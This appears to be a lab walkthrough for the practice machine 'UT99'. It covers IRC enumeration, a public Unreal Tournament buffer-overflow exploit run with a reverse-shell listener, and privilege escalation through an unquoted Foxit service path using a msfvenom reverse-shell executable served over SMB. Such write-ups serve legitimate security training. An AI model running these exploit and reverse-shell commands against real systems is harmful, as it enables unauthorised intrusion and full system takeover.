# UT99

## nmap

```
mkdir nmap
sudo rustscan -a 192.168.225.44 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan
```

## Enumeration

IRC is running on many ports, one of those is port 6667. Let's connect to the IRC server and see what we got.

Open hexcat IRC client, and click edit.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkboCU-U9AbBA7IMkwQ%2F-MkbphQN2WX1asz508K9%2Fimage.png?alt=media&#x26;token=07d93248-47ba-4659-b569-6a3b745586c2" alt=""></div>

Set the IP address of the server.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkboCU-U9AbBA7IMkwQ%2F-MkbqDIOiBjmYgk5xyRo%2Fimage.png?alt=media&#x26;token=1bbda6e2-000c-45fb-9689-49a71b14f4c2" alt=""></div>

Once you're done, then connect to the server.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkboCU-U9AbBA7IMkwQ%2F-MkbqQH5KedTDFg4MkA8%2Fimage.png?alt=media&#x26;token=8551a2a7-07df-4004-81a0-7ba3d2a7a813" alt=""></div>

Let's see if there's any IRC channel, we can do that by typing `/list` in the left bottom corner.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkboCU-U9AbBA7IMkwQ%2F-MkbqhyB5fGAudJVY_cE%2Fimage.png?alt=media&#x26;token=8f626935-b39a-475f-8d05-a43cb0b286a8" alt=""></div>

And there will be a pop-up, something like this. Let's join to `UT99` channel.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkboCU-U9AbBA7IMkwQ%2F-MkbqpE2Qw18RFkKPe15%2Fimage.png?alt=media&#x26;token=308a11ee-ccb8-450b-abc4-bf6c8088743d" alt=""></div>

Upon joining, you will see a message that there's a hidden port open on `7778` and it is running Unreal Tournament.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkboCU-U9AbBA7IMkwQ%2F-Mkbr5sEfwCZAkEi1eIh%2Fimage.png?alt=media&#x26;token=5b13eaca-3381-45ce-b1d8-43076ec9a098" alt=""></div>

## Exploitation

It turns out Unreal Tournament has a Remote Buffer Overflow vulnerability

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkboCU-U9AbBA7IMkwQ%2F-MkbrahymdG_c_T-Raci%2Fimage.png?alt=media&#x26;token=708654fb-26ad-4d25-9726-5a7901b13fc4" alt=""></div>

Let's mirror the exploit to our local machine

```
searchsploit -m windows/remote/16145.pl
```

Set a reverse shell listener

```
sudo nc -lvnp 80
```

And run the exploit

```
perl 16145.pl <target machine> 7778 <your ip> 80
```

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkboCU-U9AbBA7IMkwQ%2F-MkbsRPNYvfIVRjbW8Aw%2Fimage.png?alt=media&#x26;token=90c9e98f-3597-4daa-9210-fe3e7c09469b" alt=""></div>

## Privilege Escalation

Let's transfer `winpeas.bat` via SMB, but first, let's set a temporary SMB server

```
sudo python /opt/impacket/examples/smbserver.py kali .
```

Get the IP address of your local machine

```
ip -o -4 addr list tun0 | awk '{print $4}' | cut -d/ -f1
```

Transfer that batch file and run.

```
copy \\192.168.49.169\kali\winPEAS.bat
./winPEAS.bat
```

After some time of running, you will notice there's a service with an **unquoted service path vulnerability**

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkboCU-U9AbBA7IMkwQ%2F-Mkbv9mB0DCXbuXHYotw%2Fimage.png?alt=media&#x26;token=2d752370-4409-4289-ae33-a31373af48c3" alt=""></div>

Check if `FoxitCloudUpdateService` is running as `NT\SYSTEM` If the output says `LocalSystem`, it means it does.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkboCU-U9AbBA7IMkwQ%2F-MkbwJgsRm-MbqWfKDMO%2Fimage.png?alt=media&#x26;token=28b416b0-f57a-43ca-a272-daeb4ebb62d0" alt=""></div>

Check if we have start/stop permission on the service, but looks like we don't so alternatively we can restart the server.

![](https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkboCU-U9AbBA7IMkwQ%2F-MkbwtoMFw1hKHHKSIha%2Fimage.png?alt=media\&token=c39d7813-b554-421e-aa26-f9a747e02a7f)

Let's transfer accesschk.exe to the remote machine. You can get a copy [here](https://github.com/ankh2054/windows-pentest)

```
copy \\192.168.49.169\kali\accesschk-2008-vista.exe
```

Check if we have write-permission.

```
accesschk-2008-vista.exe /accepteula -uwdq "C:\Program Files (x86)\Foxit Software\Foxit Reader"
```

And looks like we have a write-permission

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkboCU-U9AbBA7IMkwQ%2F-MkbxPRh7bDhSJ9euIwR%2Fimage.png?alt=media&#x26;token=62a43fc5-0fcc-4295-aeb7-e5a60f61a1f9" alt=""></div>

So we have confirmed everything that this service might be vulnerable to, let's try it by creating a reverse shell first.

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.169 LPORT=80 -f exe -o Foxit.exe
```

And transfer the shell

```
copy \\192.168.49.169\kali\Foxit.exe "C:\Program Files (x86)\Foxit Software\Foxit.exe"
```

Setup a reverse shell listener

```
sudo nc -lvnp 80
```

Restart the server

```
hutdown -r -t 1 && exit
```

After 2 to 5 mins, you should receive a shell with `SYSTEM` privilege.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkbxViFg2V-4s44U40Q%2F-MkbzRZfBnmuTlFWZHBX%2Fimage.png?alt=media&#x26;token=f9421c5a-f197-4ccb-80dd-32b8b55a2959" alt=""></div>

Thanks and enjoy the rest of your day!
